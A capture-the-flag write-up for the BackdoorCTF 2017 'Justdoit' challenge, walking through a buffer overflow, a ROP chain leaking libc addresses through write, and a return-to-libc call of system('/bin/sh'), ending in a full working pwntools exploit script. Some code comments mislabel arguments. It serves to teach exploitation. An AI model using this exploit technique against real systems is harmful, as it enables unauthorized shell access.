[Pwn] BackdoorCTF 2017 - Justdoit

1.1 - representation of the assembly code of the binary

So we have 32 bit binary and a buffer overflow vulnerability, lets use checksec to see its protections:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

There isn’t a stack canary protection but we have NX ENABLED so we can’t execute code in the stack we have to use Return Oriented Programming(ROP) to leak libc addresses and finally return to libc… We can check which functions are available for us using objdump:

1
2
3
4
5
6
7
8
9
10
11
12
$ objdump -R justdoit 

justdoit: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a01c R_386_JUMP_SLOT write@GLIBC_2.0

We have write which is everything we need to do this challenge, using write we can leak addresses from the Global Offset Table (GOT) with the leaks we can calculate the offsets using the lib.so that was provided by the challenge.

Here is the plan to exploit it:

1
2
3
1 - Overflow the buffer
2 - Using ROP to leak GOT addresses with write function and return to main
3 - Overflow the buffer again and jump to system with /bin/sh as argument

Overflow the buffer

According to the assembly code at picture 1.1 the read function will read up to 200 bytes so lets use metasploit to create a 200 byte pattern:

1
2
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Now lets see on each address it will break using gdb :

1
2
3
4
5
6
7
pwndbg> r
Starting program: /home/evilgod/Documents/Hacking/ctf/backdoor/pwn/justdoit/justdoit
Hello pwners,
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
Program received signal SIGSEGV (fault address 0x64413764)

As we can see we have a page fault error at the address 0x64413764 so once again lets use metasploit to calculate the offset:

1
2
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764
[*] Exact match at offset 112

ROP and leak libc addresses

write needs 3 arguments as follows:

1
ssize_t write(int fildes, const void *buf, size_t nbytes);

We can use pwntools to get the GOT and PLT addresses from the binary (note that you can use objdump too to achieve the same result). Memorize this if you are beginner in binary exploitation and don’t understand really well what GOT is, just remember if you want to jump and execute a function from libc you jump into PLT but if you want to leak an address from libc you get the value from the GOT address.

1
2
3
4
5
6
7
8
from pwn import *

binary = ELF('./justdoit')
libc = ELF('libc.so.6')
padding = 'A'*112
WRITEPLT = binary.plt['write']
PRINTFGOT = binary.got['printf']
MAIN = 0x804847d # You can get this from radare2 for example

Since the binary is 32 bits we don’t really need to pop stack address into specific registers like in 64 bit a simple ropchain to leak printf address can be built like this:

1
2
3
4
5
6
ropchain = ''
ropchain += p32(WRITEPLT) # WRITE function "call"
ropchain += p32(MAIN) # RETURN TO MAIN
ropchain += p32(0x1) # STDIN ARG[0]
ropchain += p32(PRINTFGOT) # PRINTF ADDRESS ARG[1]
ropchain += p32(0x4) # BYTES TO READ ARG[2]

After we send this to the server, we can calculate everything with symbols from pwntools :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
r = getConn()

r.recvline()
r.sendline(padding+ropchain)
r.recv(len(padding)+len(ropchain)) # reads the printf output

PRINTF = u32(r.recv(0x4)) # leaked printf address
LIBCBASE = PRINTF - libc.symbols['printf']
SYSTEM = LIBCBASE + libc.symbols['system']
BINSH = LIBCBASE + 0x15900b

log.info("LIBC 0x%x" % LIBCBASE)
log.info("PRINTF 0x%x" % PRINTF)
log.info("SYSTEM 0x%x" % SYSTEM)
log.info("Binsh 0x%x" % BINSH)

If you are wondering where I got the offset of /bin/sh string , you can use a nice trick with strings command:

1
2
$ strings -a -t x libc.so.6 | grep '/bin/sh'
15900b /bin/sh

Overflow again and jump to libc

Now that we have system and /bin/sh string we can just jump into them! note that I had to readjust the padding offset (use gdb to check the values on the stack to calculate the offset):

1
2
3
4
5
6
7
8
9
ropchain2 = p32(SYSTEM) # WRITE function "call"
ropchain2 += 'BBBB' # Return address doesn't really matter to where we return after shell
ropchain2 += p32(BINSH)

r.recvuntil('Hello pwners, \n')
r.sendline('A'*(112-8)+ropchain2)
r.recv()
r.interactive()
r.close()

And now the full script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *


local = True
def getConn():
return process('./justdoit', env = {"LD_PRELOAD":'./libc.so.6'}) if local else remote('163.172.176.29', 9036)

padding = 'A'*112



binary = ELF('./justdoit')
libc = ELF('libc.so.6')

WRITEPLT = binary.plt['write']
PRINTFGOT = binary.got['printf']
MAIN = 0x804847d # You can get this from radare2 for example

ropchain = ''
ropchain += p32(WRITEPLT) # PRINTF function "call"
ropchain += p32(MAIN) # RETURN TO MAIN
ropchain += p32(0x1) # STDIN ARG[0]
ropchain += p32(PRINTFGOT) # PRINTF ADDRESS ARG[1]
ropchain += p32(0x4) # BYTES TO READ ARG[2]

r = getConn()

#gdb.attach(r, '''
# b *0x080484d8
# c''')

r.recvline()
r.sendline(padding+ropchain)
r.recv(len(padding)+len(ropchain)) # reads the printf output

PRINTF = u32(r.recv(0x4))
LIBCBASE = PRINTF - libc.symbols['printf']
SYSTEM = LIBCBASE + libc.symbols['system']
BINSH = LIBCBASE + 0x15900b

log.info("LIBC 0x%x" % LIBCBASE)
log.info("PRINTF 0x%x" % PRINTF)
log.info("SYSTEM 0x%x" % SYSTEM)
log.info("Binsh 0x%x" % BINSH)

ropchain2 = p32(SYSTEM) # WRITE function "call"
ropchain2 += 'BBBB' # Return address doesn't really matter to where we return after shell
ropchain2 += p32(BINSH)

r.recvuntil('Hello pwners, \n')
r.sendline('A'*(112-8)+ropchain2)
r.recv()
r.interactive()
r.close()